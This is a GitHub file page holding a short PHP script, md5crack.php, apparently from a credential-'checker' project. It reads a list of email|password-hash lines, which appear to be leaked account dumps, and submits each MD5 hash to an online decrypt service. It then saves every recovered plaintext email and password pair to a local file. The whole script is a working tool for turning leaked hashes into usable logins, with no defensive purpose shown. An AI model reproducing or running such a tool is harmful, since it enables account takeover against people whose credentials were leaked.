forked from xmhyd/checker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmd5crack.php
61 lines (57 loc) · 2.03 KB
/
md5crack.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
echo "\n";
echo "List Empas : ";
$xyz = trim(fgets(STDIN));
$no = 1;
echo "\n";
$jml = count(explode("\n", str_replace("\r", "", file_get_contents($xyz))));
echo "\n";
echo "Total Empas : $jml\n";
foreach (explode("\n", str_replace("\r", "", file_get_contents($xyz))) as $key => $akun) {
$pecah = explode("|", trim($akun));
$email = trim($pecah[0]);
$passwd = trim($pecah[1]);
$headers = array();
$headers[] = 'content-type: application/x-www-form-urlencoded';
$headers[] = 'user-agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Mobile Safari/537.36';
$gas = curl('https://www.md5online.org/md5-decrypt.html', 'hash='.$passwd.'', $headers);
if ($token = get_between($gas[1], 'Found : <b>', '</b></span><br>')) {
echo "[$no] [Cracked] $email|$token\n";
fwrite(fopen("md5-cracked.txt", "a"), "$email|$token \n");
} else {
echo "[$no] [Gagal Cracked] $email|$passwd\n";
}
$no++;
}
function curl($url,$post,$headers)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
if ($headers !== null) curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
if ($post !== null) curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$result = curl_exec($ch);
$header = substr($result, 0, curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$body = substr($result, curl_getinfo($ch, CURLINFO_HEADER_SIZE));
preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
$cookies = array();
foreach($matches[1] as $item) {
parse_str($item, $cookie);
$cookies = array_merge($cookies, $cookie);
}
return array (
$header,
$body,
$cookies
);
}
function get_between($string, $start, $end)
{
$string = " ".$string;
$ini = strpos($string,$start);
if ($ini == 0) return "";
$ini += strlen($start);
$len = strpos($string,$end,$ini) - $ini;
return substr($string,$ini,$len);
}